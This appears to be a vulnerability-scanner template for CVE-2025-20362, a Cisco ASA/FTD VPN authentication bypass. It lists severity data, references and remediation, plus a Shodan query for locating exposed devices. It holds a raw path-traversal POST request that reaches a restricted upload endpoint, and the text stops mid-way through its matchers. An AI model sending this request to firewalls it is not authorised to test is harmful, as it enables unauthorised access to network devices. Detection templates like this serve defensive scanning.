id: CVE-2025-20362 info: name: Cisco Secure Firewall ASA & FTD - Authentication Bypass author: DhiyaneshDk,attackerkb,brendan-rsoc severity: medium description: | A vulnerability in the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to access restricted URL endpoints that are related to remote access VPN that should otherwise be inaccessible without authentication. This vulnerability is due to improper validation of user-supplied input in HTTP(S) requests. impact: | An attacker could exploit this vulnerability by sending crafted HTTP requests to a targeted web server on a device. A successful exploit could allow the attacker to access a restricted URL without authentication. remediation: | Update to the latest available version of Cisco Secure Firewall ASA and FTD Software. reference: - https://attackerkb.com/topics/Szq5u0xgUX/cve-2025-20362/rapid7-analysis - https://nvd.nist.gov/vuln/detail/cve-2025-20362 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N cvss-score: 6.5 cve-id: CVE-2025-20362 epss-score: 0.46779 epss-percentile: 0.97724 cwe-id: CWE-862 cpe: cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: cisco product: adaptive-security-appliance-software shodan-query: html:"/+CSCOE+/logon.html" tags: cve,cve2025,cisco,asa,auth-bypass,kev,vkev,vuln http: - raw: - | POST /+CSCOU+//../+CSCOE+/files/file_action.html?mode=upload&path=foo&server=srv&sourceurl=qaz HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded;boundary=ee Content-Length: 10 aabbccdd matchers-condition: and matchers: - type: word part: body words: - "